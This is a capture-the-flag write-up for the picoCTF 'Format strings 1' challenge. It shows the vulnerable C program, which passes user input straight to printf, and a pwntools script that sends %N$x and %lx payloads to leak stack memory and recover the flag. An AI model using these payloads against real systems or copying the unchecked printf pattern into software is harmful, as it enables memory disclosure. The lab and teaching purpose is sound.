Format strings 1

July 1, 20252 minutes
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
3 files are read
- flag.txt
- secret-menu-item-1.txt
- secret-menu-item-2.txt
And their contents are stored on the stack.
To debug it, we need to create them
echo "PICOCTF{TEST_FLAG}" > flag.txt
echo "A" > secret-menu-item-1.txt
echo "B" > secret-menu-item-2.txt
Later on, the program asks the user for input and then prints it with printf without specifying the type, which makes it vulnerable to format strings
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
To leak values from the stack with format strings, we are going to write a script that prints the values one by one
#!/usr/bin/env python3
from pwn import *
import time
HOST = "mimas.picoctf.net"
PORT = 53107
exe = ELF("./format-string-1_patched")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'warn'
gdb_script = '''
b main
continue
'''
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r, gdbscript=gdb_script)
else:
r = remote(HOST, PORT)
return r
def main():
for i in range(0, 100):
try:
r = conn()
payload = f"%{i}$x"
r.sendlineafter('to you:', payload)
output = r.recvline()
output = r.recvline().split(b"Here's your order: ")[1]
print(f"{i}: {unhex(output)}")
except:
pass
if __name__ == "__main__":
main()
With the script we manage to see the following
14: b'OCIP'
15: b'TSET'
16: b'\n}G'
Which would be:
- 14: PICO
- 15: TEST
- 16: G}\n
It looks like the flag, but some parts are missing…
- 14: PICO | CTF{
- 15: TEST | _FLA
- 16: G}\n
Positions 14 and 15 only give 4 characters each and 4 more are missing. That’s because we are using %14$x: x only shows 32 bits (4 characters), and this binary is 64-bit, so we have to use lx
14: b'{FTCOCIP'
15: b'ALF_TSET'
16: b'\x7f\xee\x00\n}G'
Now it works
Finally, all that is left is to check the values at the same positions, but on the picoCTF instance.
%14$lx,%15$lx,%16$lx,%17$lx,%18$lx....